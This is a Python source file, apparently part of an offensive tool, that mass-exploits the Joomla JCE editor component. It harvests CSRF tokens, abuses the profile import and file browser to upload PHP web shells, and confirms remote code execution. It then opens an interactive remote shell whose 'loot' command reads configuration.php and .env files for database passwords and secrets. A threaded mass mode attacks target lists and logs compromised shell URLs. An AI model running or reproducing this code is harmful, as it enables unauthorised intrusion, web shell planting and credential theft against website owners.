#  SESSION FACTORY
# ═════════════════════════════════════════════════════════════════════════════

def make_session() -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": random.choice(_AGENTS),
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.9",
    })
    a = requests.adapters.HTTPAdapter(pool_connections=20, pool_maxsize=20, max_retries=0)
    s.mount("http://", a)
    s.mount("https://", a)
    return s

# ═════════════════════════════════════════════════════════════════════════════
#  TOKEN PARSING (from 1.py)
# ═════════════════════════════════════════════════════════════════════════════

def parse_tokens(body: str) -> List[str]:
    found: List[str] = []
    for m in re.finditer(r"<input\b[^>]*>", body, re.I | re.S):
        tag = m.group(0)
        nm = re.search(r'\bname=["\']([^"\']+)["\']', tag, re.I)
        vm = re.search(r'\bvalue=["\']([^"\']*)["\']', tag, re.I)
        tm = re.search(r'\btype=["\']([^"\']*)["\']', tag, re.I)
        if not nm:
            continue
        name = html.unescape(nm.group(1))
        value = html.unescape(vm.group(1)) if vm else ""
        typ = (tm.group(1) if tm else "").lower()
        if typ == "hidden":
            if _TOKEN_RE.fullmatch(name):
                found.append(name)
            if _TOKEN_RE.fullmatch(value):
                found.append(value)
    for x in _TOKEN_RE.findall(body):
        if x not in found:
            found.append(x)
    for m in re.finditer(
        r'<meta\b[^>]*name=["\']csrf\.token["\'][^>]*content=["\']([^"\']+)["\']',
        body, re.I,
    ):
        t = m.group(1)
        if t not in found:
            found.append(t)
    # JSON embed
    for m in re.finditer(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', body):
        t = m.group(1)
        if t not in found:
            found.append(t)
    # hidden input name=token value
    for m in re.finditer(r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', body, re.I):
        t = m.group(1)
        if t not in found:
            found.append(t)
    out: List[str] = []
    for t in found:
        if t not in out:
            out.append(t)
    return out

# ═════════════════════════════════════════════════════════════════════════════
#  EXPLOIT ENGINE (merged V1 + V2 + custom shell)
# ═════════════════════════════════════════════════════════════════════════════

def normalize_target(target: str) -> str:
    """Accept ``host`` or a full URL and return a clean base URL."""
    target = str(target).strip()
    if target and not target.lower().startswith(("http://", "https://")):
        target = "https://" + target
    return target.rstrip("/")


class JCEExploit:
    def __init__(self, base: str, timeout: int = 15,
                 custom_shell: Optional[Any] = None,
                 custom_name: Optional[str] = None):
        self.base = normalize_target(base)
        self.sess = make_session()
        self.timeout = timeout
        self.token: Optional[str] = None
        self.tokens: List[str] = []
        self.jce_ver: Optional[str] = None
        self.shell: Optional[str] = None          # confirmed shell URL
        self.vector: Optional[str] = None
        self.upload_path: Optional[str] = None
        self.rce: bool = False
        self.custom_shell = custom_shell           # bytes/str or None
        self.custom_name = custom_name
        self.sn: Optional[str] = None
        self.expected: Optional[int] = None
        self.combo_php: Optional[str] = None
        self.exists_only: bool = False

    # ── Detection ────────────────────────────────────────────────────────────
    def detect_jce(self) -> bool:
        # Phase A: version fingerprint via JCE_PATHS
        for path in JCE_PATHS:
            try:
                r = self.sess.get(self.base + path, timeout=6, allow_redirects=True)
                if r.status_code == 200 and len(r.text) >= 30:
                    if path.endswith(".xml"):
                        m = re.search(r'<version>([^<]+)</version>', r.text)
                        if m:
                            self.jce_ver = m.group(1).strip()
                            return True
            except Exception:
                continue
        # Phase B: com_jce detection
        for path in _JCE_DETECT:
            try:
                r = self.sess.get(self.base + path, timeout=6, allow_redirects=True)
                if r.status_code in (200, 403) and (
                    "jce" in (r.text or "").lower() or r.status_code == 403
                ):
                    return True
            except Exception:
                continue
        # Phase C: homepage
        try:
            r = self.sess.get(self.base + "/", timeout=6, allow_redirects=True)
            if r.status_code == 200 and "jce" in (r.text or "").lower():
                return True
        except Exception:
            pass
        return False

    def is_patched(self) -> bool:
        if not self.jce_ver:
            return False
        try:
            parts = [int(x) for x in self.jce_ver.split('.')]
            patched = [2, 9, 99, 5]
            for a, b in zip(parts, patched):
                if a > b:
                    return True
                if a < b:
                    return False
            return len(parts) >= len(patched)
        except Exception:
            return False

    # ── Token harvesting ─────────────────────────────────────────────────────
    def get_token(self) -> bool:
        self.tokens = []
        for page in _TOKEN_PAGES:
            try:
                url = urljoin(self.base + "/", page.lstrip("/"))
                r = self.sess.get(url, timeout=self.timeout, allow_redirects=True)
                ts = parse_tokens(r.text or "")
                if ts:
                    dlog("dbg", f"tokens from {page}: {', '.join(t[:8] for t in ts)}")
                    self.tokens += ts
            except Exception:
                continue
        # dedup
        out: List[str] = []
        for t in self.tokens:
            if t not in out:
                out.append(t)
        self.tokens = out
        self.token = self.tokens[0] if self.tokens else None
        return bool(self.token)

    # ── Helpers ──────────────────────────────────────────────────────────────
    def _check_execution(self, body: str, expected: int) -> bool:
        import base64 as _b64
        m = re.search(r'RXST:([A-Za-z0-9+/=]+):RXEND', body)
        if not m:
            return False
        try:
            decoded = _b64.b64decode(m.group(1)).decode("utf-8", errors="replace")
            return f"MATHOK:{expected}" in decoded
        except Exception:
            return False

    def _shell_dirs_norm(self) -> List[str]:
        return ["/tmp", "/administrator/tmp", "/cache", "/logs", "/images",
                "/images/stories", "/media", "/media/jce", "/uploads", "/"]

    def _probe_url(self, url: str) -> Tuple[str, str]:
        """Returns (status, body). status in {'rce','exists','none'}."""
        try:
            r = self.sess.get(url, timeout=self.timeout, allow_redirects=True)
            if r.status_code != 200:
                return "none", ""
            body = r.text or ""
            if self.custom_shell is not None:
                # A user-supplied shell is considered live on any 200 response.
                return "rce", body
            if self.expected is not None and self._check_execution(body, self.expected):
                return "rce", body
            if body.strip():
                return "exists", body
            return "none", body
        except Exception:
            return "none", ""

    # ── Vector 1: tmp/ profile import ────────────────────────────────────────
    def vector1_tmp(self) -> bool:
        if not self.token:
            return False

        # prepare content + sn
        if self.custom_shell is not None:
            content = (self.custom_shell if isinstance(self.custom_shell, (bytes, bytearray))
                       else str(self.custom_shell).encode())
            if self.custom_name:
                self.sn = self.custom_name.rsplit(".", 1)[0]
            else:
                self.sn = f"jce{rand_str2(8)}"
            filenames = [self.custom_name] if self.custom_name else [f"{self.sn}.php"]
        else:
            a, b = random.randint(100, 999), random.randint(100, 999)
            self.expected = a * b
            self.combo_php = make_combo_payload(a, b)
            content = self.combo_php.encode()
            self.sn = f"jce{rand_str2(8)}"
            filenames = [f"{self.sn}.{ext}" for ext in _PHP_EXTS]

        # dedup filenames
        seenf = set(); uniqf = []
        for fn in filenames:
            if fn not in seenf:
                seenf.add(fn); uniqf.append(fn)
        filenames = uniqf

        dlog("step", f"V1 tmp/ — {len(filenames)} filename variants, "
                     f"{len(self.tokens[:6])} tokens")

        for token in (self.tokens[:6] or [self.token]):
            for fname in filenames:
                data = {"task": "profiles.import", token: "1"}
                files = {"profile_file": (fname, content, "application/xml")}
                try:
                    r = self.sess.post(
                        self.base + "/index.php?option=com_jce",
                        data=data, files=files, timeout=self.timeout,
                        allow_redirects=True,
                    )
                except Exception as e:
                    dlog("dbg", f"  inject exc: {e}")
                    continue
                low = (r.text or "").lower()
                if "invalid token" in low or "jinvalid_token" in low:
                    dlog("dbg", "  invalid token, trying next")
                    break
                if "not authorised" in low or "not authorized" in low:
                    continue
                accepted = (
                    r.status_code in (200, 303)
                    or "success" in low
                    or "redirect" in low
                    or "imported" in low
                )
                if not accepted:
                    dlog("dbg", f"  inject ext={fname} HTTP={r.status_code} not accepted")
                    continue
                dlog("dbg", f"  inject {fname} HTTP={r.status_code} accepted")

                # probe dirs
                for d in self._shell_dirs_norm():
                    path = d + "/" + fname
                    if d == "/":
                        path = "/" + fname
                    pub = self.base + path
                    status, body = self._probe_url(pub)
                    if status in ("rce", "exists"):
                        self.shell = pub
                        self.upload_path = path
                        self.rce = (status == "rce")
                        self.exists_only = (status == "exists")
                        self.vector = "V1:tmp" if self.rce else "V1:tmp(no-exec)"
                        dlog("ok" if self.rce else "warn",
                             f"{'RCE' if self.rce else 'upload'} confirmed → {pub}")
                        return True
            # end filenames
        return False

    # ── Vector 2: JCE browser upload ─────────────────────────────────────────
    def _has_feed(self) -> bool:
        try:
            r = self.sess.get(self.base + "/index.php?option=com_jce&task=cpanel.feed",
                              timeout=6)
            return bool(r and r.status_code == 200 and '"feeds"' in (r.text or ""))
        except Exception:
            return False

    def _import_permissive_profile(self) -> bool:
        if not self.token:
            return False
        nm = f"J{rand_str2(6)}"
        jp = json.dumps({
            "browser": {
                "filetypes": "images=jpg,jpeg,png,gif;files=php,txt,gif",
                "upload": {
                    "max_size": "102400",
                    "validate_mimetype": "0",
                    "add_random": "0",
                },
                "features": {
                    "upload": 1,
                    "folder": {"rename": 1},
                    "file": {"rename": 1},
                },
            }
        })
        xml = (
            f'<?xml version="1.0"?><jce><profiles><profile>'
            f'<name>{nm}</name><published>1</published>'
            f'<ordering>-99999</ordering><area>0</area>'
            '<device>desktop,tablet,phone</device>'
            '<components></components><users></users>'
            '<types>1,8</types><rows><![CDATA[[]]]></rows>'
            '<plugins>browser,image,media,link,file</plugins>'
            f'<params><![CDATA[{jp}]]></params>'
            '</profile></profiles></jce>'
        )
        try:
            r = self.sess.post(
                self.base + "/index.php?option=com_jce",
                data={"task": "profiles.import", self.token: "1"},
                files={"profile_file": ("x.xml", xml.encode(), "application/xml")},
                timeout=self.timeout, allow_redirects=True,
            )
            if not r or r.status_code != 200:
                return False
            try:
                j = json.loads(r.text)
                for k in ("message", "error"):
                    for msg in j.get("messages", {}).get(k, []):
                        if "imported successfully" in str(msg).lower():
                            return True
            except Exception:
                pass
            # fallback: accept if status 200
            return True
        except Exception:
            return False

    def _upload_browser(self, filename: str, data: bytes, ctype: str) -> bool:
        if not self.token:
            return False
        try:
            r = self.sess.post(
                self.base + f"/index.php?option=com_jce&task=plugin.rpc&plugin=browser&{self.token}=1",
                data={"method": "upload", "upload-dir": "", "name": filename,
                      self.token: "1"},
                files={"file": (filename, data, ctype)},
                timeout=self.timeout, allow_redirects=True,
            )
            return bool(r and r.status_code == 200)
        except Exception:
            return False

    def _try_rename(self, sn: str, from_ext: str) -> Optional[str]:
        if not self.token:
            return None
        rpc = json.dumps({
            "id": "rn",
            "method": "renameItem",
            "params": [f"{sn}.{from_ext}", f"{sn}.php"]
        })
        body = urllib.parse.urlencode({"json": rpc, self.token: "1"}).encode()
        try:
            self.sess.post(
                self.base + f"/index.php?option=com_jce&task=plugin.rpc&plugin=browser&{self.token}=1",
                data=body, headers={"Content-Type": "application/x-www-form-urlencoded",
                                    "X-Requested-With": "XMLHttpRequest"},
                timeout=self.timeout, allow_redirects=True,
            )
        except Exception:
            pass
        time.sleep(0.3)
        for check_ext in ["php", f"php.{from_ext}"]:
            try:
                v = self.sess.get(self.base + f"/images/{sn}.{check_ext}", timeout=5)
                if v and v.status_code == 200 and len(v.text or "") < 300:
                    return check_ext
            except Exception:
                continue
        return None

    def _php_variants(self, sn: str, php: str) -> List[Tuple[str, bytes, str]]:
        variants = []
        for ext, data, ct in [
            (f"{sn}.php", php.encode(), "text/plain"),
            (f"{sn}.php", gifwrap(php), "image/gif"),
            (f"{sn}.phtml", php.encode(), "text/plain"),
            (f"{sn}.php5", php.encode(), "text/plain"),
            (f"{sn}.php7", php.encode(), "text/plain"),
        ]:
            variants.append((ext, data, ct))
        return variants

    def vector2_browser(self) -> bool:
        if not self._has_feed():
            dlog("dbg", "V2: no cpanel feed, skip")
            return False
        if not self._import_permissive_profile():
            dlog("dbg", "V2: profile import failed")
            return False
        time.sleep(0.3)

        # determine content + sn
        if self.custom_shell is not None:
            content_str = (self.custom_shell.decode() if isinstance(self.custom_shell, (bytes, bytearray))
                           else str(self.custom_shell))
            sn = self.sn or (self.custom_name.rsplit(".", 1)[0] if self.custom_name else f"jce{rand_str2(8)}")
            self.sn = sn
        else:
            if self.combo_php is None:
                a, b = random.randint(100, 999), random.randint(100, 999)
                self.expected = a * b
                self.combo_php = make_combo_payload(a, b)
            content_str = self.combo_php
            sn = self.sn or f"jce{rand_str2(8)}"
            self.sn = sn

        dlog("step", f"V2 browser/ — sn={sn}")

        # Phase 2a: direct uploads
        for filename, data, ct in self._php_variants(sn, content_str):
            if not self._upload_browser(filename, data, ct):
                continue
            time.sleep(0.3)
            ext = filename.rsplit('.', 1)[-1]
            try:
                v = self.sess.get(self.base + f"/images/{sn}.{ext}", timeout=5)
                if v and v.status_code == 200 and len(v.text or "") < 300:
                    pub = self.base + f"/images/{sn}.{ext}"
                    status, body = self._probe_url(pub)
                    if status in ("rce", "exists"):
                        self.shell = pub
                        self.upload_path = f"/images/{sn}.{ext}"
                        self.rce = (status == "rce")
                        self.vector = "V2:images" if self.rce else "V2:images(no-exec)"
                        dlog("ok" if self.rce else "warn",
                             f"{'RCE' if self.rce else 'upload'} confirmed → {pub}")
                        return True
            except Exception:
                continue

        # Phase 2b: gif upload + rename
        gif_data = gifwrap(content_str)
        gif_name = f"{sn}.gif"
        if self._upload_browser(gif_name, gif_data, "image/gif"):
            time.sleep(0.3)
            new_ext = self._try_rename(sn, "gif")
            if new_ext:
                pub = self.base + f"/images/{sn}.{new_ext}"
                status, body = self._probe_url(pub)
                self.shell = pub
                self.upload_path = f"/images/{sn}.{new_ext}"
                self.rce = (status == "rce")
                self.vector = "V2:images" if self.rce else "V2:images(no-exec)"
                dlog("ok" if self.rce else "warn",
                     f"{'RCE' if self.rce else 'upload'} (renamed) confirmed → {pub}")
                return True

        return False

    # ── exec_cmd ─────────────────────────────────────────────────────────────
    def exec_cmd(self, path: str, cmd: str, raw: bool = False) -> Optional[str]:
        import base64 as _b64
        encoded = urllib.parse.quote(cmd)
        try:
            r = self.sess.get(f"{path}?c={encoded}", timeout=self.timeout)
        except Exception:
            return None
        if raw:
            return f"[HTTP {r.status_code}] {(r.text or '')[:500]}"
        if self.custom_shell is not None:
            body = (r.text or "").strip()
            if body and r.status_code == 200:
                return body
            return None
        m = re.search(r'RXST:([A-Za-z0-9+/=]*):RXEND', r.text or "")
        if m:
            try:
                decoded = _b64.b64decode(m.group(1)).decode("utf-8", errors="replace")
                if decoded.startswith("DISABLED:"):
                    return f"[blocked] All exec functions disabled: {decoded[9:]}"
                return decoded if decoded else "[empty output — command ran but no output]"
            except Exception:
                return None
        body = (r.text or "").strip()
        if body and r.status_code == 200 and len(body) < 50000:
            if not any(x in body for x in ["<?php", "Parse error", "Fatal error",
                                           "Warning:", "GIF89a"]):
                return body
        return None

    # ── run ──────────────────────────────────────────────────────────────────
    def run(self) -> Dict[str, Any]:
        result = {
            "jce_found": False, "jce_ver": None, "patched": False,
            "token": False, "vector": None, "rce": False,
            "shell_url": None, "upload_path": None, "target": self.base,
        }
        if not self.detect_jce():
            return result
        result["jce_found"] = True
        result["jce_ver"] = self.jce_ver
        result["patched"] = self.is_patched()
        if result["patched"]:
            return result
        if not self.get_token():
            return result
        result["token"] = True

        # V1
        if self.vector1_tmp():
            result.update(vector=self.vector, upload_path=self.upload_path,
                          rce=self.rce, shell_url=self.shell)
            return result
        # V2
        if self.vector2_browser():
            result.update(vector=self.vector, upload_path=self.upload_path,
                          rce=self.rce, shell_url=self.shell)
            return result
        return result

# ═════════════════════════════════════════════════════════════════════════════
#  INTERACTIVE SHELL (merged 3.py + 4.py)
# ═════════════════════════════════════════════════════════════════════════════

def upload_interactive_shell(base_shell_url: str, timeout: int = 15) -> Tuple[Optional[str], Optional[str]]:
    session = make_session()
    rnd = rand_str(8)
    shell_name = f"cyph_i_{rnd}.php"
    payload = INTERACTIVE_SHELL_CODE.encode()
    base_dir = base_shell_url.rsplit("/", 1)[0]
    new_url = f"{base_dir}/{shell_name}"

    dlog("step", "uploading interactive shell (uploader) ...")
    try:
        session.post(
            base_shell_url,
            files={"f": (shell_name, payload, "application/x-php")},
            timeout=timeout,
        )
        # verify via a throwaway exploit object? use direct GET ?c=id
        try:
            r = session.get(new_url + "?c=" + urllib.parse.quote("id"), timeout=timeout)
            m = re.search(r"uid=\d+\([^)]*\)", r.text or "")
            if m:
                return new_url, m.group(0)
        except Exception:
            pass
    except Exception:
        pass

    dlog("warn", "uploader failed, falling back to base64 write ...")
    b64 = base64.b64encode(payload).decode()
    cmd = f"echo '{b64}' | base64 -d > {shell_name}"
    try:
        session.get(base_shell_url + "?c=" + urllib.parse.quote(cmd), timeout=timeout)
        r = session.get(new_url + "?c=" + urllib.parse.quote("id"), timeout=timeout)
        m = re.search(r"uid=\d+\([^)]*\)", r.text or "")
        if m:
            return new_url, m.group(0)
    except Exception:
        pass
    return None, None

def interactive_shell(shell_url: str, exploit: Optional[JCEExploit] = None,
                     target: Optional[str] = None, vector: Optional[str] = None,
                     timeout: int = 15):
    print()
    head = []
    if target:
        head.append(f"{GY('target')}  {WH(target)}")
    head.append(f"{GY('shell ')}  {CY(hyperlink(shell_url, shell_url))}")
    if vector:
        head.append(f"{GY('vector')}  {TE(vector)}")
    head.append(f"{GY('status')}  {GN(BOLD + '● CONNECTED' + RESET)}  "
                f"{GY('·')}  {YL('?c=<cmd>')}")
    print(neon_frame("INTERACTIVE SHELL", head, width=70,
                     c1=(190, 242, 100), c2=(129, 140, 248)))
    print()

    # base exploit object for exec
    if exploit is None:
        class _W:
            def __init__(self):
                self.sess = make_session()
                self.timeout = timeout
                self.custom_shell = None
            def exec_cmd(self, path, cmd, raw=False):
                # Decode the built-in combo payload response.
                import base64 as _b64
                enc = urllib.parse.quote(cmd)
                try:
                    r = self.sess.get(f"{path}?c={enc}", timeout=self.timeout)
                except Exception:
                    return None
                if raw:
                    return f"[HTTP {r.status_code}] {(r.text or '')[:500]}"
                m = re.search(r'RXST:([A-Za-z0-9+/=]*):RXEND', r.text or "")
                if m:
                    try:
                        dec = _b64.b64decode(m.group(1)).decode("utf-8", errors="replace")
                        return dec if dec else "[empty output]"
                    except Exception:
                        return None
                body = (r.text or "").strip()
                if body and r.status_code == 200 and len(body) < 50000:
                    if not any(x in body for x in ["<?php", "Parse error", "Fatal error"]):
                        return body
                return None
        exploit = _W()

    # verify base shell
    dlog("scan", "verifying base shell ...")
    idout = exploit.exec_cmd(shell_url, "id") if hasattr(exploit, "exec_cmd") else None
    if not idout:
        dlog("fail", "base shell does not respond to ?c=id — aborting")
        # still try interactive maybe
    else:
        dlog("ok", GN("base shell verified") + "  " + GY((idout or "")[:80]))

    # upload dedicated interactive shell
    new_url, new_uid = upload_interactive_shell(shell_url, timeout)
    if not new_url:
        dlog("fail", "could not upload interactive shell — using base shell")
        new_url = shell_url
        new_uid = idout or ""
    else:
        dlog("rce", GN(BOLD + "interactive shell uploaded" + RESET) + "  " + WH(new_url))
        if new_uid:
            dlog("ok", GN("verified") + "  " + GY(new_uid[:80]))

    # gather identity
    def _send(cmd):
        try:
            return exploit.exec_cmd(new_url, cmd) or ""
        except Exception:
            return ""

    user = "www-data"
    m = re.search(r"uid=\d+\(([^)]+)\)", new_uid or idout or "")
    if m:
        user = m.group(1)

    host = "target"
    out = _send("hostname 2>/dev/null || echo target")
    if out:
        host = (out.splitlines()[0].strip() or "target")

    cwd = "/"
    out = _send("pwd 2>/dev/null || echo /")
    if out and out.strip().startswith("/"):
        cwd = out.splitlines()[0].strip()

    home = ""
    out = _send("echo $HOME")
    if out and out.strip().startswith("/"):
        home = out.splitlines()[0].strip()

    session_rows = [
        ("base",     GY(shell_url)),
        ("shell",    WH(hyperlink(new_url, new_url))),
        ("identity", f"{GN(BOLD + user + RESET)}{GY('@')}{CY(BOLD + host + RESET)}"),
        ("cwd",      YL(cwd)),
        ("param",    YL("?c=<cmd>")),
        ("exit",     f"{WH('exit / quit')}  {GY(BOX_DOT)}  "
                     f"{WH('!help · !info · !clear · sysinfo · loot · funcs')}"),
    ]
    print(neon_frame("SESSION READY",
                     [f"{GY(pad_to(k, 8))} {GY('│')} {v}" for k, v in session_rows],
                     width=min(max(term_width(100) - 8, 60), 78),
                     c1=(190, 242, 100), c2=(129, 140, 248), stops=[(56, 189, 248)]))
    print()

    def shorten(p):
        if home and p.startswith(home):
            return "~" + p[len(home):]
        return p

    def _print_cmd_output(text: str) -> None:
        width = max(20, term_width(100) - 8)
        for raw_ln in text.rstrip("\n").split("\n"):
            for chunk in wrap_plain(raw_ln, width):
                print(f"  {GY(BOX_RAIL)} {WH(chunk)}")

    while True:
        try:
            disp = shorten(cwd)
            prompt_line = (f"  {GY('┌─')}{GY('[')} {GN(BOLD + user + RESET)}"
                           f"{GY('@')}{CY(BOLD + host + RESET)} {GY(']')}"
                           f"{GY('─')}{GY('[')} {YL(disp)} {GY(']')}"
                           f"{GY('─')}{GY('╼')}")
            print(truncate_ansi(prompt_line, term_width(100) - 1))
            raw = input(f"  {GY('└─')}{MG(BOLD + '❯' + RESET)} ")
        except (EOFError, KeyboardInterrupt):
            print()
            dlog("info", "shell closed (interrupt)")
            return
        cmd = raw.strip()
        if not cmd:
            continue
        low = cmd.lower()

        if low in ("exit", "quit", ":q", "q", "back", "b"):
            dlog("info", "shell closed")
            return

        if low in ("!help", "?", "help"):
            help_items = [
                ("cd <path>",   "change directory"),
                ("any command", "executed on target"),
                ("exit / quit", "close shell"),
                ("sysinfo",     "OS, PHP, user, CWD"),
                ("funcs",       "list available exec functions"),
                ("phpinfo",     "PHP disable_functions & settings"),
                ("loot",        "find Joomla config / DB creds"),
                ("debug",       "raw HTTP response"),
                ("!clear",      "clear screen"),
            ]
            help_lines = [f"{WH(pad_to(k, 14))} {GY('→')} {GY(v)}"
                          for k, v in help_items]
            help_lines.insert(3, GY("─" * min(46, max(16, term_width(100) - 18))))
            print(neon_frame("HELP", help_lines,
                             width=min(max(term_width(100) - 8, 56), 66),
                             c1=(129, 140, 248), c2=(190, 242, 100)))
            continue

        if low == "!info":
            info_rows = [
                ("base",      GY(hyperlink(shell_url, shell_url))),
                ("shell",     WH(hyperlink(new_url, new_url))),
                ("identity",  f"{GN(user)}{GY('@')}{CY(host)}"),
                ("status",    GN(BOLD + "● LIVE")),
                ("cwd",       YL(cwd)),
                ("home",      YL(home or "(unknown)")),
                ("parameter", WH("?c=<cmd>")),
                ("marker",    WH(MARKER)),
            ]
            print(neon_frame("SESSION INFO",
                             [f"{GY(pad_to(k, 9))} {GY('│')} {v}" for k, v in info_rows],
                             width=min(max(term_width(100) - 8, 60), 78),
                             c1=(129, 140, 248), c2=(190, 242, 100)))
            continue

        if low in ("!clear", "cls", "clear"):
            clear_screen()
            continue

        if low == "funcs":
            funcs_php = ("foreach(['shell_exec','exec','system','passthru','popen',"
                         "'proc_open','pcntl_exec'] as $f){"
                         "echo $f.': '.(function_exists($f)?'OK':'DISABLED').\"\\n\";}")
            cmd = f"php -r \"{funcs_php}\" 2>/dev/null || echo 'php cli not available'"

        elif low == "phpinfo":
            cmd = "php -r \"echo 'disable_functions: '.ini_get('disable_functions').\"\\n\";\" 2>/dev/null"

        elif low == "sysinfo":
            cmd = ("id 2>&1; hostname 2>&1; uname -a 2>&1; "
                   "pwd 2>&1; php -v 2>&1 | head -1")

        elif low == "loot":
            cmd = (
                "find /var/www /home /srv 2>/dev/null "
                "-name 'configuration.php' -o -name '.env' "
                "2>/dev/null | head -5; echo '---'; "
                "cat $(find /var/www /home /srv 2>/dev/null "
                "-name 'configuration.php' 2>/dev/null | head -1) 2>/dev/null "
                "| grep -E \"password|user|db_name|secret\" | head -15"
            )

        elif low == "debug":
            rawr = exploit.exec_cmd(new_url, "id", raw=True)
            print(f"  {YL(BOLD + 'RAW HTTP')}  {GY(BOX_DOT)}")
            for chunk in wrap_plain(str(rawr), max(20, term_width(100) - 8)):
                print(f"  {GY(BOX_RAIL)} {WH(chunk)}")
            continue

        if low == "cd" or low.startswith("cd ") or low.startswith("cd\t"):
            if low == "cd":
                target_dir = home or "/"
            else:
                target_dir = cmd[2:].strip()
                if ((target_dir.startswith('"') and target_dir.endswith('"'))
                        or (target_dir.startswith("'") and target_dir.endswith("'"))):
                    target_dir = target_dir[1:-1]
                if not target_dir:
                    target_dir = home or "/"
                elif target_dir == "~":
                    target_dir = home or "/root"
                elif target_dir.startswith("~/"):
                    target_dir = (home or "/root").rstrip("/") + "/" + target_dir[2:]
            safe = target_dir.replace("'", "'\\''")
            out = _send(f"cd '{safe}' 2>/dev/null && pwd || echo __FAIL__")
            if "__FAIL__" in out or not out.strip().startswith("/"):
                print("  " + RD("cd: ") + WH(target_dir) + RD(": No such file or directory"))
            else:
                new_cwd = out.splitlines()[-1].strip()
                if new_cwd.startswith("/"):
                    cwd = new_cwd
            continue

        safe_cwd = cwd.replace("'", "'\\''")
        out = _send(f"cd '{safe_cwd}' 2>/dev/null; {cmd}")

        if out:
            _print_cmd_output(out)
        else:
            print(f"  {GY(BOX_RAIL)} {GY('(no output)')}")

# ═════════════════════════════════════════════════════════════════════════════
#  RUNNERS
# ═════════════════════════════════════════════════════════════════════════════

def run_single(target: str, timeout: int, output_file: str, rce_output_file: str,
               auto_shell: bool = False,
               custom_shell: Optional[Any] = None,
               custom_name: Optional[str] = None,
               verbose: bool = False) -> int:
    global _VERBOSE
    _VERBOSE = verbose
    target = normalize_target(target)
    timeout = max(3, min(120, int(timeout)))
    print()
    rows = [
        ("target",  WH(target)),
        ("timeout", WH(f"{timeout}s")),
        ("mode",    CY("single-shot")),
    ]
    print(neon_frame("SINGLE TARGET",
                     [f"{GY(pad_to(k, 8))} {GY('│')} {v}" for k, v in rows],
                     width=min(max(term_width(100) - 8, 56), 68),
                     c1=(129, 140, 248), c2=(190, 242, 100), stops=[(56, 189, 248)]))
    print()

    exp = JCEExploit(target, timeout, custom_shell=custom_shell, custom_name=custom_name)
    t0 = time.time()
    dlog("scan", "starting exploit ...")
    res = exp.run()
    dt = time.time() - t0

    print()
    if not res.get("jce_found"):
        dlog("fail", RD("JCE not detected"))
        return 1
    ver = res.get("jce_ver")
    dlog("ok", CY("JCE detected") + (f"  {GY('v' + ver)}" if ver else ""))
    if res.get("patched"):
        dlog("warn", YL("target is patched (>= 2.9.99.5)"))
        return 1
    if not res.get("token"):
        dlog("fail", RD("CSRF token not found"))
        return 1

    if res.get("rce"):
        dlog("rce", GN(BOLD + "RCE CONFIRMED" + RESET) + f"  {GY('%.2fs' % dt)}")
        shell_url = str(res.get("shell_url") or "")
        dlog("ok", TE(res.get("vector")) + "  " +
             CY(hyperlink(shell_url, shell_url)))
        rce_banner(shell_url, str(res.get("vector") or ""), dt)
        # store
        try:
            with open(output_file, "a", encoding="utf-8") as f:
                f.write(res["shell_url"] + "\n")
            with open(rce_output_file, "a", encoding="utf-8") as f:
                f.write(f"{res['shell_url']}  ->  RCE\n")
        except Exception:
            pass
        _pwned.append(res)
        if auto_shell and res.get("shell_url"):
            interactive_shell(res["shell_url"], exploit=exp, target=target,
                              vector=res.get("vector"), timeout=timeout)
    elif res.get("vector"):
        dlog("warn", YL("file uploaded (RCE unverified)") + f"  {GY('%.2fs' % dt)}")
        dlog("info", TE(res.get("upload_path")))
        try:
            with open(output_file, "a", encoding="utf-8") as f:
                f.write((res.get("shell_url") or res.get("upload_path")) + "\n")
        except Exception:
            pass
        _pwned.append(res)
    else:
        dlog("fail", RD("exploit failed") + f"  {GY('%.2fs' % dt)}")
        return 1
    print()
    return 0

def run_mass(target_file: str, threads: int, timeout: int,
             output_file: str, rce_output_file: str,
             custom_shell: Optional[Any] = None,
             custom_name: Optional[str] = None,
             verbose: bool = False) -> int:
    global _VERBOSE
    _VERBOSE = verbose
    threads = max(1, min(200, int(threads)))
    timeout = max(3, min(120, int(timeout)))
    try:
        with open(target_file, encoding="utf-8", errors="replace") as f:
            targets = [l.strip() for l in f if l.strip() and not l.startswith("#")]
    except FileNotFoundError:
        dlog("fail", f"file not found: {WH(target_file)}")
        return 2
    if not targets:
        dlog("fail", "no targets loaded")
        return 2

    seen, uniq = set(), []
    for t in targets:
        t = normalize_target(t)
        key = t.lower()
        if key not in seen:
            seen.add(key)
            uniq.append(t)
    targets = uniq

    print()
    rows = [
        ("targets", WH(str(len(targets)))),
        ("threads", WH(str(threads))),
        ("timeout", WH(f"{timeout}s")),
        ("out-up",  WH(output_file)),
        ("out-rce", WH(rce_output_file)),
    ]
    print(neon_frame("MASS MODE",
                     [f"{GY(pad_to(k, 8))} {GY('│')} {v}" for k, v in rows],
                     width=min(max(term_width(100) - 8, 56), 68),
                     c1=(129, 140, 248), c2=(190, 242, 100), stops=[(56, 189, 248)]))
    print()

    # reset output files
    try:
        open(output_file, "w", encoding="utf-8").close()
        open(rce_output_file, "w", encoding="utf-8").close()
    except Exception:
        pass

    _stats["total"] = len(targets)
    _stats["done"] = 0
    _stats["hits"] = 0
    _stats["rce"] = 0
    _stats["fails"] = 0

    t0 = time.time()

    def _fit(text: str, reserve: int = 0) -> str:
        return truncate_ansi(str(text), max(20, term_width(100) - reserve))

    def _worker(tgt):
        global _stats
        with _lock:
            _stats["done"] += 1
            idx = _stats["done"]
            total = _stats["total"]
        exp = JCEExploit(tgt, timeout, custom_shell=custom_shell, custom_name=custom_name)
        res = exp.run()
        res["target"] = tgt
        with _lock:
            pad = len(str(total))
            if not _SILENT:
                print(f"  {CY(BOX_BULLET)} {CY(f'[{idx:>{pad}}/{total}]')} "
                      f"{GN(f'{idx / total * 100:5.1f}%')} "
                      f"{WH(_fit(tgt, 24))}", flush=True)
        if res.get("rce"):
            with _lock:
                _stats["hits"] += 1
                _stats["rce"] += 1
                url = res.get("shell_url") or ""
                if not _SILENT:
                    print(f"  {GY('   └─')} {MG(BOLD + '★ RCE' + RESET)} "
                          f"{CY(hyperlink(_fit(url, 28), url))}", flush=True)
                _pwned.append(res)
            try:
                with open(output_file, "a", encoding="utf-8") as f:
                    f.write(res["shell_url"] + "\n")
                with open(rce_output_file, "a", encoding="utf-8") as f:
                    f.write(f"{res['shell_url']}  ->  {res.get('vector')}\n")
            except Exception:
                pass
